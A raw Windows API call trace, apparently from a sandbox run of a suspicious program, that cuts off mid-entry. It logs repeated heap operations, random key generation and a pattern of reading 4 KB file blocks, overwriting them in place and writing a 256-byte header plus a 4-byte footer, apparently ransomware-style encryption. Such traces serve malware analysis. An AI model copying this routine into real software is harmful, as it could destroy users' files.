[0086.277] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.277] GetProcessHeap () returned 0x540000 [0086.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.277] GetProcessHeap () returned 0x540000 [0086.277] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.278] GetProcessHeap () returned 0x540000 [0086.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.278] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.279] GetProcessHeap () returned 0x540000 [0086.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.280] GetProcessHeap () returned 0x540000 [0086.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.281] GetProcessHeap () returned 0x540000 [0086.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.282] GetProcessHeap () returned 0x540000 [0086.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.282] GetProcessHeap () returned 0x540000 [0086.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.282] GetProcessHeap () returned 0x540000 [0086.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.282] GetProcessHeap () returned 0x540000 [0086.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.282] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.282] WriteFile (in: hFile=0x930, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.282] WriteFile (in: hFile=0x930, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.282] GetProcessHeap () returned 0x540000 [0086.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.282] GetProcessHeap () returned 0x540000 [0086.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.282] GetProcessHeap () returned 0x540000 [0086.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.282] CloseHandle (hObject=0x930) returned 1 [0086.283] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 110 [0086.283] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.283] ReadFile (in: hFile=0x934, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.283] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.283] GetProcessHeap () returned 0x540000 [0086.283] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.283] GetProcessHeap () returned 0x540000 [0086.283] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.283] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.283] GetProcessHeap () returned 0x540000 [0086.283] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.283] ReadFile (in: hFile=0x934, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.378] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.378] WriteFile (in: hFile=0x934, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.378] GetProcessHeap () returned 0x540000 [0086.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.378] GetProcessHeap () returned 0x540000 [0086.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f280 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.379] GetProcessHeap () returned 0x540000 [0086.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.379] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.380] GetProcessHeap () returned 0x540000 [0086.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.380] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345d10 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345d10 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.381] GetProcessHeap () returned 0x540000 [0086.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.382] GetProcessHeap () returned 0x540000 [0086.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f280 | out: hHeap=0x540000) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.383] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.383] WriteFile (in: hFile=0x934, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.383] WriteFile (in: hFile=0x934, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.383] GetProcessHeap () returned 0x540000 [0086.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: 